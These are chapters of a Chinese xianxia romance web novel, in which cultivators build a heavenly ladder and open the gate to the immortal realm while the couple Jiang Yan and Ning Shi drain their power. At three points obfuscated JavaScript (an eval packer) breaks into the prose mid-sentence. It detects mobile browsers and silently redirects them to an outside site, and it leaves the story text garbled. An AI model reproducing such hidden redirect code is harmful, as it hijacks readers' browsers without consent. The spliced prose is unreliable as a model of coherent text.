他们身边,是其他大小门派的修士。 宁时目光在他们身上转了一圈,又向江晏身边凑了凑,道:“居然是来了这么多人。” 江晏点点头,又回头看了一眼这分魂身后胜意门的队伍,回答:“是了,你也带了这么多小朋友过来。” 剑修“小朋友”一词的确实没说错,宁时顺着他的目光看过去,便瞧见了自己门中几个聚在一起默默玩“晶泥”的小修士。 宁时:…… “晶泥”是一种凡人间常见的玩具,外形和手感如同透明面团,常常被用来给四五岁的小孩娱乐。 却不料这群十几岁的修士也对其爱不释手。 宁时就叹了口气: 胜意门这些小修士,说到底是孩子,他们同获雁山上其他队伍站在一起,面容终究显得稚嫩了。 ……所以,只要最后把正事干好,中间摸鱼玩一下,应该也没什么吧? 他这样想着,却还是冷下脸来,同时甩给这几位小修士一个眼刀。 这群弟子中刚好有一名抬起头来,对上了门主的眼神,瞬间噤若寒蝉,又抖着手去捅身边的同伴。 同伴不明所以地抬起头,就见到了门主一张没有表情的脸,刚才还喜笑颜开的表情就凝固在了脸上,迅速低下头来,将东西收好,安安静静站在原地了。 宁时这才慢慢转过头来,留给他们一个冷酷无情的背影。 旁观了整个过程的江晏:…… 他真的很想笑。 他正欲出言调侃宁时,却只听得一道雄浑的男声自四面八方响起: “请各位安静片刻。” 那是白一苇的声音。 江晏正了神色,放眼望去,只见白一苇站在登仙台中,身姿挺拔。 白一苇继续说着,山间风大,于是他讲话的声音同衣袖猎猎作响声掺杂在一起,竟是多了几分激情: “今日筑天梯开天门一事,白某没想到有这么多道友前来相助,感激不尽。” 江晏深以为然,现场人群的规模,也已经超过他自己的预计。 在场上,白一苇说完这句话后,便传来几道应和的声音: “白掌门,我想着人多灵力就多,总归是好的,就把我们宗门全都带过来了。” “是啊,我们宗门有不少游历在外的修士听到消息,也全都回来了。” “怪不得今天人这么多,我就差把我们宗门里的小猫小狗带过来了。” 江晏:…… 话糙理不糙,但这句也未免太有意思了,人群中果然想起了一阵善意的哄笑。 台上的白一苇就也笑了,他在原地静立片刻,待此间恢复安静后,又继续说着那番他已经准备了很久的话: “今日之事,成则青史留名。” “各位宗主和长老在出发之前,已将名单交递于我,”白一苇袖口一翻,一张几丈长的卷轴跃然于空中。 修真者俱是耳聪目明,自然能看到卷轴上密密麻麻的黑字,都是一个又一个的人名。 白一苇的声音继续传来: “以后修真界的后辈们翻阅这段历史时,定能看到诸位。” 这句话无论是放在凡间还是修真界,都是同样诱人。 江晏看到,身旁这些修士们眼睛瞬间更亮了。 在台上,白一苇仍然在说着: “我便说下今日的安排吧。” “首先,请各个宗门齐力,为搭建天梯输送灵力。” “并在天梯搭建成功后,共同开启法阵,打开通往仙界的大门。” 此话说罢,便是大手一挥,示意众人开始行动。 于是登仙台原本整齐的队伍出现了轻微的形变,修士们依照各自长老的指令,纷纷将灵力输入空中。 同这些花花绿绿的灵力一起飞向空中的,还有无数墨块一般的陨铁。 这些陨铁在三日之中,已经过人为的初加工,每块俱是规整的矩形,长三丈,宽一丈,高度不过小腿,已然是能看出阶梯的模样。 此时又被灵力光芒映衬,表面皆是流光溢彩,让人不禁联想起真正的仙界是否也是同样的华丽。 一块又一块的陨铁被摞在一起,获雁山登仙台上,高耸入云的阶梯正在逐渐形成,并蔓延向云间和山林的另一端。 江晏一边输送着灵力,将这些陨铁运到它们应该在的位置,一边去看宁时。 却对上了这符修的双瞳。 宁时见江晏看过来,先是挑眉一笑,又加大了手中灵力的输送。 一时间,红光骤起,只见他整个人似乎都被包裹在一团火焰中。 江晏:……这个人来疯。 但即便是隔着这浓厚的灵力,江晏依旧可以看得清宁时的脸,以及他勾起的嘴角。 符修对他露出了一个洋洋自得的表情,借着嘴唇开合几下,无声地说了一段话。 江晏盯着他,读懂了——宁时在对他说: 晏晏,你看我是不是很风流潇洒? 剑修便有些哭笑不得了——宁时在这时候,居然还有心思注意自己的外表。 不过,也是人之常情。 剑修想,毕竟谁都是想在伴侣面前留下美好印象的。 不说宁时,就连他自己,在今日出门时还特意用灵力把发冠加固了一番,以免在筑天梯的动作中散乱。 心思回转,江晏便也张口,同样对宁时回以一段唇语: “是了,我们宁门主的风姿,天下无双。” 说罢,便默不作声,盯着对方的脸看。 而在对面,显而易见的是,宁时读懂了。 他如同得了主人夸奖的小犬,眼睛亮晶晶的。 江晏:…… 他本欲提醒一下对方注意作为门主的形象,但很快就发现,这种担心完全是多余的了——宁时此时似乎看到了什么,收敛起神色: 登仙台上,随着时间流逝,天梯越筑越高,目力已难以望到尽头。 与此同时,在此地的修士由于修为高低不同,部分人开始出现了力竭的症状,不得不离开队伍休息。 而宁时在回应江晏那句无声的夸奖后,余光扫过,便发现了身后几名弟子的不对劲。 于是刚才还在他面上挂着的、同剑修调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310883|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑的表情隐去了,又披上了那层“高冷神秘的胜意门门主”的皮,转身向身后看去。 这群门内小修士的嬉闹已经不见,只见他们一个比一个脸色苍白,有的甚至连胳膊和腿都是抖着的。 其实他们如此,也是正常的——由于修为不高,小修士们在连续不断的灵力输送下,已经内府空虚,渐渐支撑不住了。 宁时就轻轻叹了口气,对已经东倒西歪但还坚持着站立在原地的门生们挥挥手,示意他们下去休息。 ——这些孩子们坚持的时间已经比他预计中要长了,但输送灵力并非一蹴而就的事,此时他们明显需要中止行动。 但这群小修士还在对宁时的指令犹疑,面面相觑,似乎是在思考自家这位冷淡的门主,究竟是在示意他们退下,还是在用动作表示“你们这群废物”。 一时间,竟都是愣在原地了。 其中一位修士胆子大点,仿佛下定决定般,终于收回了自己的灵力,蹭蹭蹭跑到宁时面前,涨红着脸,大声道:“门主!” 有那么一瞬间,江晏看到宁时的双眼不可置信地瞪大了,随即恢复了正常。 只见这胜意门门主冷冷扫了对方一眼,道:“我是让你们坚持不住就下去。” “你们这群不省心的,是不是没懂才专门到我面前来问?” 宁门主预判了弟子们的动作,于是,他面前那位小修士脸上的红色就更深了一层。 他在原地踌躇片刻,最后身体扭了几下,憋出来一句:“门主!我们可以坚持下来的!” 宁时:…… 他看着对方惨白的脸和抖成筛子的腿,沉默着。 江晏旁观,只觉得自己的分魂要被这群傻孩子们气死了。 他设身处地地带入了一下自己和修亭峰上众人,便结结实实打了个激灵——这也太心累了。 江晏便轻咳一声,道:“这位胜意门的小朋友,听你们门主的吧。” 他这句话却没有起到丝毫的效果,小修士似乎把宁时的话当成什么积极表现的反话了,此时再听别人一说,便更慌了: “门主!我们一定努力坚持下来,成功通过您的考验的!” 江晏:…… 宁时深吸了一口气,忍耐力快要到达了极限。 他抬手指了指登仙台另一边,依稀可见不少盘腿而坐正在调息的年轻修士,对胜意门众人道: “看看人家。” “人家修为和你们差不多,还知道量力而行呢。” “你们统统给我下去——别为了这把自己搭上。” “说不好听的,天塌下来还有前辈顶着呢。” 说罢,似乎又是觉得自己语气重了,想了想,还是补充上一句“以后还指着你们呢”,来稍作安抚。 这番话后,小修士们终于明白了门主的“你们下去”就是字面意思的“你们下去”。 没有一丝一毫客气的成分。 便俱是收起灵力,退到登仙台上供人修整的地方,同其他各门派的修士坐在一起。 于是不同宗门黑色白色金色蓝色的衣袍,互相掺杂。 与此同时,登仙台上依旧在正常输送灵力的修士,只剩下起初的四分之一了。 而众人手中的陨铁,也只余一小堆了—— 天梯,快要封顶了。 181. 阵法 江晏站在原地,深吸一口气后,手中再次推出一股灵力,支撑着陨铁向高处飞去。 这次,他感受到的阻力,似乎比刚才猛然增加了许多。 这种情况,也许是种预示: 天梯的高度和能量,足以延伸到上界了。 江晏便暂时停止动作,对身旁的宁时问:“你感受到了吗?” 宁时点点头:“嗯,不好再往上搭了。” 除了他们,其他修士自然也是感觉到了,见有人提出疑问,便纷纷左顾右盼,想要从同伴口中得出一个答案。 白一苇见了,出声道:“诸位稍安勿躁。” “陨铁还有所剩余,但天梯却无法再向上搭建。” “这并非坏事。” “而是意味着,天梯已经触及仙界,自然无法继续延伸了。” 这个解释在情理之中,刚刚还惴惴不安的众人,听了这番话后,原本因灵力输出而显得疲惫的脸色都变好了几分,喜笑颜开。 他们或同身旁的同伴击掌,或坐在地上,一边喘着气,一边仰头去看那高耸入云的天梯。 江晏听有修士道: “真是不容易,我回去怕是要吃一车丹药才能把今天补回来。” 他身旁的同伴回应:“谁不是呢——不过天梯建成之后,你我便有可能飞升了,这样看来,一车丹药也算不上什么了。” 先开口的修士就推了他一把:“飞升!咱们俩还不知道要等到什么时候呢。” 同伴闻言,摊了摊手:“比起从前,终归是有希望了,待今日再开天门之后……” 听到此处,江晏不仅微微皱眉: 虽然此时修真界众人已经搭建好天梯,但这只是开启飞升仙界的第一步,在其之后,还需要开天门。 开天门自然也需要灵力,而此时还能坚持的修士,比起众人起初聚在登仙台上时,已经少了十之七八。 所以下一步的开天门……依旧是个大工程。 江晏正这样想着,却突然从脑海中捕捉到了一声清脆的“啾”。 鉴于他返回原世界之后整日同宁时腻在一处,啾啾已多日未曾打扰,此时这一声鸟鸣冒出来,突然之间,剑修竟有些不适应。 而啾啾同他打过招呼后,随即化出实体,振翅落在江晏肩头,又扬起小脑袋,注视着头顶那高耸入云的天梯。 江晏伸出一根手指,戳了戳它:“你怎么突然出来了?” 出乎他意料,小鸟没有说什么诸如“为了不打扰你和分魂”之类的话,而依旧是举目望天,神情中有几分严肃: “我好像感到了……一股熟悉的气息。” 江晏略一思索后,猜测问:“是断水剑吗?” 啾啾摇头:“并非如此。” “断水剑的残片形成了我的灵魂,但我此时感受到的,分明是……” 啾啾顿了顿,似乎就连自己也觉得荒谬,但终究还是把后半句说出了口: “分明是我肉身的气息!” 江晏和宁时:? 啾啾这感受来的巧,早不来晚不来,偏偏就在天梯建成之时出现。 那这么看来……莫非啾啾的肉身,同仙界有关了? 两人面面相觑,又仰头望天,又去看啾啾——这小鸟依旧是披着他们熟悉的灰灰花花的羽毛,哪里有一丝和仙界的气息! 宁时先开了口,却是看着江晏:“晏晏,你肯定还记得,啾啾蛋是从云山幻境里捡来的。” 江晏点头:“是了,但万一,我是说万一,这枚蛋要是在云山幻境存在之前,就已经存在于修真界上了呢?” “它真正的来历,我们并不知晓。” 宁时:…… 剑修和符修推测一番后,依旧是沉默着,无法判定啾啾的身份。 毕竟此事重大,仅仅凭借外观和猜测,并不能作数。 江晏不禁扶额了——这次获雁山之行,堪称状况百出。 啾啾看着这两人,终于出声了,不满极了: “啾!你们两个皱着眉头,是什么意思!” “是在嫌弃我吗!” 江晏有气无力:“误会了,我们只是在对你的身份产生好奇后,无法查明真相一时沮丧罢了。” 啾啾就翘着尾巴踩了剑修两脚,又飞到符修的头顶,低下脑袋啄了啄对方。 在给予这两人同样的暴击伤害后,啾啾的心情终于恢复了许些,高冷道: “莫欺小鸟穷!” “三十年河东,三十年河西,你们等着吧,等我找到自己和仙界的关系之后,就要把你俩——” 啾啾的绿豆眼中露出了志满意得的神情:“把你俩一起抓回仙界!” “当我的鸟爬架!” 江晏和宁时:…… 宁时抬起手,把它从自己的头顶摘下来,又伸出另一只手捋了捋被鸟爪勾乱的头发,凉凉道: “你是话本看多了吧?” 啾啾在他手中“啾啾”叫着,挣扎了几下后,终于被他大发慈悲地松开,便迅速扑棱着翅膀飞回到了江晏头顶。 江晏:…… 千万句感慨汇在剑修心头,他无语片刻,最终说出口的却是: “别闹了,你看把孩子吓的。” 宁时:? 他难以置信地伸出一根手指,指指啾啾,又指指自己,尾调上扬:“我?吓它?” “吓它一个上古神器残片?” 江晏忍俊不禁。 而在此时,登仙台上传来了一阵铃响——那是修士们约定调息修整的时间结束了。 于是剑修和符修也都正了神色,站直身子,向登仙台中央望去。 白一苇站在人群中,朗声道: “天梯已经筑好,现在,便只剩下最后一步——开天门了。” “通过阵法和天梯的能量,令天门打开后,就可以沟通上界了。” “如此,我们修真界的修士,便能飞升至仙界。” 他顿了顿,扬手一挥,空中缓缓浮现出一个金线勾勒出的阵法。 白一苇道:“此阵法是我同各位宗主长老一起琢磨出来的,在传统的破空阵上增加了聚灵的效果。” “现在,便请各位还有余力的修士,将灵力注入其中吧。” “阵法在各位的催动下,会逐渐打通本界和仙界的间隔。” 说罢,走下台来回到了合江宗的队伍中,只留那金色的阵法飘在空中。 而登仙台上的众修士则纷纷举起手来,从掌中射出道道灵力,俱是送往这阵法中。 只见这阵法吸收着不同属性的灵力,颜色赤橙黄绿变幻一番后,最后定格在了银白色上。 并以一种肉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁时手指微动,摸着他的脉门,问:“身体可还好?” 江晏:“……我无事,更何况你还在给我把脉,骗不了你的。” 宁时被他说中心思,也只是笑了笑,道:“无事便好,我身体也没问题的。” 江晏听了,便学着他的动作,也去捉宁时的手腕。 可直到自己搭上对方微凉的皮肤,剑修才反应过来——自己根本不懂这些! 于是他僵在原地,对宁时露出了一个尴尬而又礼貌的笑,边问道:“哥,你怎么什么都懂啊。” 宁时手腕一翻,将他的手握在掌心,抬起另一只手拍了拍:“那是自然,成为门主总需要些本事的。” 他谈笑之间,却是将从前的流离一笔带过。 江晏心里发热,也没了什么挣脱的意思,就任由分魂握着,一边听他说“回去之后教你”。 剑修刚一点头,天空高中却爆出一声闷响。 众人举目望去。 只见这正午时分的天,此刻却黯淡极了。 浓云之中,唯有雪亮的阵法和流彩的陨铁在发光。 一场风暴正在酝酿。 182. 灵力枯竭 筑天梯开天门,本就是逆天而行,此时见空中出现异象,登仙台上立即鸦雀无声了。 片刻后,才有年轻修士的声音从一边传来: “这是怎么回事?” “天色这样阴沉,竟是有些像劫云了。” 有了这个开头,登仙台上,一时间议论纷纷。 就连宁时也靠近了江晏,一边将剑修的手握得更紧,一边道:“这和你从前渡劫时,像不像?” 江晏举目望去,只见浓云中似乎也有电光流窜,便点了点头。 宁时就轻叹了口气,道:“如此看来,有些麻烦啊。” 在人声议论的间隙,白一苇扬声道:“请诸位再坚持一下!” “既然现在还没有雷劫劈下,就说明事情仍有转机。” “我们有希望的!” 江晏输送着灵力,边想: 其实即使没有白一苇说的这番话,这些修士也不会在此刻放弃的。 毕竟,他们已经搭好了天梯,又为阵法注入了难以计数的能量。 投入愈多,坚持下去的可能便愈强。 果然,同他所想的一样,白一苇话音刚一落地,就有不少修士站出来,表示要与阵法共存亡。 就连白一苇本人似乎也是没料到这般局面,一时间怔了怔,随即哈哈大笑,抚掌而叹:“妙哉,妙哉!” “我等齐心,定是能借阵法之势开启天门!” 说罢,不再言语,而是低下头,举起双手,打出两道光芒更盛的灵力柱,汇入到上空的阵法之中。 众人便不再分心,而是继续调动灵力。 江晏亦是如此,只是比起刚开始时,心中却多了几分不安定: 他现在的灵力,只剩下平日里的五分之一了。 想来,其他修士的情况也应该差不多,甚至是只坏不好。 就连白一苇在内的部分人,已经开始吃聚灵丹了。 江晏想了想,看着掌门默默放回口袋中的丹药瓶,还是忍不住传音,对他道: “师兄。” 白一苇身躯一震,下意识地回头看向他的方向,眼神中竟是有几分犹疑,似乎不确定自己方才的动作是否被人看到。 江晏干咳一声,没有拆穿,而是问他: “你同我说实话——万一此事不成,该如何收场?” 白一苇静默片刻,同样用传音回道:“不会的。” 江晏坚持:“那万一呢?” “你们鼓捣出的这个阵法也是厉害,全天下修士的修为,居然还装不满它。” 白一苇听后,神色微动:“即便不成,阵法亦可以储存能量。” “待到十年二十年之后,众人再来一次,应该也差不多了。” 江晏:…… 得了,他听出来了,白一苇也是同样的心中没底。 想想也是——对于他们这代修士,仙界已经是个很遥远的存在了,众人对其知之甚少。 所以,今天能把天梯搭起来,已经是很不错了的。 可是…… 江晏仰头望着墨色愈发浓重的天,心头狂跳: 他还是不甘心! 此时的天色,就像当年把自己神魂劈散那日一般浓重。 修士修习是为了什么? 自然是为了飞升。 可现在修真界同仙界之间的通道闭塞,他们想要打开这原本就存在的通道,却竟是要遭天谴吗? 剑修好斗的性子被激了出来,同时,白一苇的话又给了江晏无尽的底气。 他骤然加速催动灵力运转,在内府愈发明显的空虚感中,恶狠狠地想: 不就是开天门的聚灵阵吗?灵力给过去就是了。 即便今日耗尽,再过个十年,又能长回来! 他如此输送了片刻,却是手上一沉。 是宁时按住了他的手腕。 江晏扭过头,便对上了分魂一张肃脸。 只听宁时语气沉沉:“你在做什么?” 江晏:…… 糟了。 忘记自己和分魂共用一个神魂了。 他们之间一人剧烈的情绪,对方能察觉到。 江晏想了想,决定还是认怂,他笑了笑,用言语对自己的行为进行了美化: “这不是想着,灵力一共就那么多,加大输出能早点结束吗。” 他的话似乎起了反作用。 宁时听了,眉头扭在了一起,音量遏制不住地提高了: “就那么多?” “早点结束?” 江晏听他被气疯了一般重复着这两个词,就有些心虚了,小声道:“想着早点结束,就能和你整日窝在修亭峰上了。” 宁时:…… 这次哑火的,换成了符修。 只见这符修胸口剧烈起伏了片刻——不知是信了剑修这话被感动的,还是一眼识破谎言被气的,总之,他看起来像有些换不上来气了。 宁时嘴唇张张合合几次,最终吐出一个音节:“晏……” 他后面的话语被天上的再一次闷响盖过去了。 而这次巨响,同上一次似乎并不一样。 第一次,像是闷雷的声音;第二次,却如同金石相击,仿佛两块巨大的硬物撞在了一起! 众人纷纷抬头望天。 只见完全阴沉下来的天空中,赫然出现了一道巨大的裂缝! 天幕撕裂,紫电游走在云间,对于修真界而言,这种场面可以说得上是天谴了。 修士们即使是来之前已经做好了心理准备,此时此刻,却还是忍不住后退一步。 宁时把着江晏的手,脸色微凝: “这究竟是怎么一回事?” 没有人能回答他,这是在场所有人心中共同的疑惑。 但这个疑惑,很快就有了答案。 只见空中那凝聚着千千万万修士灵力的大阵,陡然间震了震,又以迅雷不及掩耳之势向上撞去! 可那阵法已经到了天梯顶上,已经处于一个无处可上的位置。 那么阵法这一撞…… 江晏同宁时一起看过去,心中渐渐有了答案: 那阵法只能与修真界和仙界之间的屏障相撞了。 果然,在无数双眼睛的注视下,阵法结结实实地撞在了虚空中的某处,距离刚才那道裂缝极近。 这一次,二者相碰发出的声响,比刚才还要响亮数倍。 于是自然而然地,就在第一道裂缝旁边,又有一道新的裂缝逐渐显现,并在继续纵向延伸,规模迅速超过了前者。 不仅如此,还有隐约的金光透过这道缝隙,撒到修真界空中的这片阴云上。 众人齐齐愣了愣,随即想到了什么,人群中一时间爆出了此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340121|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起彼伏的惊呼声,随即就是几道又急又轻快的句子: “只有仙界才有这么漂亮的光芒吧。” “这么说来,裂缝的另一端就是仙界了?” “我们终于看到希望了!” “——想来有了这道裂缝,很快就能沿着它,继续扩大通道,最后完全打开通往仙界的天门了!” “数千年来不能飞升的困境,就要到此为止了。” 人声鼎沸,大多都是对喜悦的表达,也有一部分修士,想到了另一样东西: “你们注意到了吗,刚刚是阵法把天上撞出来裂缝的。” “是阵法!” “所以,我们注入了差不多四个时辰的灵力,终于发挥了作用。” “我们终于激发了阵法的功效!” 说这话的修士距离白一苇不过几步之遥,白一苇自然是听到了他方才所言,便笑了笑,回道: “是了,不过此时阵法还未完全吸满灵力,八分满的程度,也足以让它同上界屏障对抗了。” “我们还需要继续往其中输送一段时间的能量。” “这样,聚灵阵才能发挥最大功效,打开天门。” “让修真界同仙界真正通连在一起。” 白一苇说这番话时声音并未收敛,此时已然立在登仙台上的又是十万里挑一的顶尖修士,因此众人足以听清这位掌门说了什么。 一时间,不由得都激动起来,从地面向天顶阵法方向延出的道道灵力,光芒大涨! 于是连带着那阵法也是瞬间明亮了许多,接着就是在众目睽睽之下,又用力向上一撞! 这一击之下,一道横向的裂缝出现,并贯穿了已有的两道纵向裂缝,并在裂缝汇聚之处,向四周延伸出了更多密密麻麻的破碎。 于是,自仙界透过来的光就更多了。 自刚刚落在乌云上的一线,变成了一束金色的光柱。 这下子无疑是极大增强了修士们的斗志,登仙台上,一时间众人蓄力发出的气声不绝于耳,皆是将灵力催动到极致输去,以期尽早填满阵法。 但事情的进度似乎比他们预料中要慢: 又过了半柱香的时间,苍穹之上,依旧是那交错的三道裂缝。 而在登仙台上,本就为数不多剩余的修士,又倒下了三分之二。 ——这聚灵阵的最后一部分,竟是怎么也填不满了。 江晏咬着牙,只感觉全身的灵力就剩下一个底了,约莫最多,也只能再坚持半半个时辰了。 他侧过脸去看分魂,只见他本就苍白的面色更加不好了,想来情况也是同自己一样。 江晏眉心跳了跳: 此时,仍站立在登仙台上的,也就剩八个人了。 他和宁时,白一苇,以及道真宗、飞霞苑等门派的门主或长老。 ……若阵法在他们耗尽灵力之后,仍未完全催动,该怎么办呢? 他们所做的这么多,就算是白费了吗? 身前传来一声闷哼,是熟悉的音色。 江晏上前两步,在登仙台冰凉的石板上,看到了他掌门师兄一张闭目且没有血色的脸。 他前期灵力输送过于猛烈,此时终于支持不住倒下了。 于是台上只剩下七个人了。 人群混乱,诸如“快把白掌门抬下去,找医修给他喂药”的嘈杂湮没了剑修。 183. 麻雀变凤凰启阵法 登仙台上少了一人输送灵力,带来的心理压力并不小。 在白一苇被抬下后,余下七人俱是神色凝重,但手中却丝毫不敢松懈,依然向着聚灵阵中送着灵力。 但这并不是只靠意志力就能够坚持下来的。 又过了半柱香的时间,登仙台上传来两声□□扑地的声音。 这次难以继续下去的是合江宗本门青云峰峰主,以及古曲宗的掌门。 候在旁边的修士们见他们倒下,便匆忙上前,几人合力,用肉身的力量将二位平时皆是纤尘不染、权高位重的两位抬了下去。 ——整个修真界的灵力几乎都被那阵法抽空了,无法再用移物或清洁的口诀,来给倒地的修士清理了。 就连医修,也只能拿出一瓶瓶丹药,往昏迷的修士口中送去;再不行,便是将烧红后的银针刺入他们的穴位之中,以期让人尽早苏醒过来。 失去了灵力,修士和寻常的凡人并没有什么不同。 或者说,他们本来就是意外得了机缘的凡人。 …… 江晏依旧站在登仙台上,但是他的胳膊在抖。 他感觉自己的灵力似乎随时要耗尽了。 至于宁时…… 他本来就伶俐的下颌线此时更是绷紧了。 以剑修对他的了解,此刻极有可能是在忍耐灵力快速流逝时带来的疼痛。 剑修想了想,转身将手搭上分魂的肩膀,对他道:“你先下去吧。” 宁时闻言,硬是艰难地挤出一个笑,声音因虚弱刻意放缓了:“我无事的。” 江晏:…… 他有些生气了,道:“得到这具身体本来就是机缘,你要是把它弄坏了,你就只能躲在我的身体里了。” 宁时这次是真心实意的笑了:“嗯,这么说来,我求之不得。” 江晏木然了,耳廓却遏制不住地发热——分魂不知道是从哪练就的本领,好端端的交谈也能被他说成情话。 但不能放任他这样下去。 江晏望着分魂的脸,目光落在他淡色的唇上,突然灵光一现! 他对宁时恶狠狠道:“咱们共用一个身体之后,你只能从镜子里亲我了。” 宁时:? 他瞳孔巨震,不知是被剑修的话惊的,还是被他描述的惨淡的二人世界吓得。 江晏瞧着他的表情,又慢吞吞补充道:“而且镜子还是凉的,硬的。” 宁时:…… 总之,剑修这番话发挥了作用。 宁时手中的灵力柱以肉眼可见的速度在变细。 江晏看他如此,略微松了口气。 但他这口气还没吐完,只觉得自己的内府陡然震了一下,接着,那一直连绵在他体内的灵力,突然之间就断开了! 巨大的疼痛席卷了他,江晏眼前发黑,但同时也隐约意识到了什么: 自己因为灵力枯竭,要倒下了。 想明白这一点后,尽管灵脉和内府都是被灼烧般的痛,但江晏竟是有些想笑了: 刚刚自己还在口口声声劝着宁时,却不料自己是先倒下的人。 他双腿发软,就要往地上倒去。 但他下坠的趋势得到了阻止,有一双微凉但有力的手臂抵在了他的腰间。 是宁时。 在天旋地转之间,他被宁时紧紧搂在臂弯中。 江晏用力眨了眨眼睛,看清了分魂一张抿着嘴的脸。 即便是在现在这种情况下,江晏也依稀能感受到——宁时好像有些生气了。 但宁时开口却是:“别逞强了,我陪着你一起下去吧。” 江晏想了想,还是点点头: 此时,他的内府完全是空荡荡的了。 再坚持下去也没有意义了。 江晏便任由宁时扶着他下去——这样一来,登仙台上从原来的五人,变成三人了。 宁时带着他转身,还没走出两步路,就又传来一声人体倒地的声音。 江晏眉心狂跳: 如此一来,场上便只剩下两人了。 他从宁时臂弯的缝隙间看去,只见剩余的二人分别为飞霞苑和道真宗的掌门。 但天空上依旧只有三道裂缝。 而那浓云中的紫电,似乎更加密集了。 有滚滚雷声从天际传来——仙界似乎对这些修士开天门的做法产生了怒意,悬在每个人头顶的雷劫,似乎随时就要劈下。 江晏心脏漏跳了一拍: 今日之事,怕是不能善了了,唯一的办法,也许就是强行打开天门了。 这样,算是修真界应得的机缘,仙界也无法再干涉了。 可是,仅仅靠登仙台上剩余的两人,真的能打开天门吗? 不仅仅是江晏和宁时,在场的所有修士,心中都有这个疑惑。 一时间,众人的目光都聚集在了登仙台上唯二的人身上。 却见这两人的脸色也是坏到了极点,好似随时都可能灵力耗尽一般。 就在众人束手无策之时,江晏似乎听到了一声鸟鸣。 他循声望去,只见一只灰灰花花的小鸟凭空出现,立在宁时肩头。 正是啾啾。 啾啾站着,对他歪了歪脑袋。 江晏借着宁时的力气站起来,有气无力对它道:“你出来做什么?” 啾啾用一双绿豆眼望着他,道:“啾啾!我可以帮忙。” 这句话说完,宁时也忍不住了,他抬起手戳了戳小鸟脑袋:“就算你是神器残片,但这么个小身板,又能帮多大忙呢?” “再说了,你要是真能帮上忙的话,为何刚刚不现身呢?” 宁时这两句话有道理,江晏就静静看着啾啾,等它解释。 小鸟果然是不服气地梗直了脖子,大声反驳:“不要小看我!” 啾啾伸出翅膀指了指头顶上的苍天:“刚刚我是干正事去了!” 虽然很难想象这么一只小鸟能有什么正事,但本着对啾啾的信任,江晏还是听它说了下去。 啾啾继续道:“方才和你们说完话之后,我看着空中裂缝透过来的金光,似乎动了一下。” 江晏:? 剑修敢肯定,他自己是绝对没有发现这异样的。 所以……是只有啾啾才能看到的吗? 而啾啾还在说着:“那莫名的东西在活动了一下后,居然直直向我飞来。” “我见势不妙,就重新化为虚影,沉入到你的身体里了。” “不料,那东西竟然穿过了你,依旧穿透到我的内府!” 江晏:“……等等。” 信息量有点大,他这样捋过去,便有些难以置信了:“但我刚才分明没有什么感觉!” “而且你一只小鸟,也有内府吗?” 啾啾高声反驳:“难道你就没有听说过麻雀虽小五脏俱全吗?更何况我并不是只麻雀!” 小鸟从宁时肩头飞起至空中:“这时我才明白,那团莫名的东西,竟然是一团仙力!” 江晏和宁时俱是惊了,宁时呆呆地“啊”了一声,看着啾啾转身向登仙台中飞去。 他们交谈的动静并不算小,已经有许多修士注意到了这里的情况,此时又见啾啾向支撑着阵法的二人过去,心中就有了猜测。 果然,只见啾啾扑棱着翅膀悬停在登仙台上,借着是鸟爪一张,一道金红色的灵力便直直冲着天顶上的阵法射去! 旁观的人群沸腾了,一时间议论纷纷。 事情发展到这个地步,已经完全超出了江晏的预料。 他忍着灵力枯竭的不适,向前走了几步,对那此刻威武到不像话的小鸟道:“啾啾?解释一下?” 啾啾长鸣一声,声音竟是不同它体型相匹配的明亮。 只听小鸟终于再次口吐人言,道:“我之前不是说有一种熟悉的气息吗。” “那种气息,和钻进我身体里的这股灵力是同源的。” “唔……肯定和仙界有关,似乎是来源于一名鸟族前辈。” 啾啾最终无所谓道:“虽然不明白是怎么回事,但这意外获得的力量估计能够支持到开天门了……其他的问题,管它呢。” 江晏:…… 行吧,小鸟倒是看得开。 不过经过啾啾这番解释,他心中大概有了想法,便戳了戳宁时: “这么看来,啾啾的神魂来源于断水剑残片,肉身可能来源于上界了。” 宁时依旧是被这突变震得有些茫然,只是点了点头,缓缓道:“我从来没想过,当年从幻境顺手带出来的一颗蛋,来头居然如此大。” 江晏就笑了,在啾啾愈发明亮的灵力光芒下,看着连头发丝都被染上金色的宁时,用只有他们两个人才能听到的气声说: “这可是要多谢宁时哥哥了。” 宁时:…… 他心脏短暂地漏跳了一拍,只觉得自从二人神魂归位之后,面前这剑修便不复他从前记忆中那么正经了。 现在的剑修,身上融合了在小世界中的少年气,甚至还带了些小狐狸的狡黠。 相较于提剑砍他的那个时期……也是别有一番滋味。 宁时感慨万千,最终一指戳到剑修额顶,正色道:“别闹,你的灵力还没恢复。” 江晏就不以为意地“哦”了一声,目光却落在台上,看那最后两名修士在啾啾的顶替下,走下登仙台来。 而在他们身后,却骤然爆发出一阵亮眼到近乎于刺目的光芒! 江晏眯着眼看过去,只见这团狂暴的光芒的来源,居然是啾啾! 由于它身上的光芒实在过于强 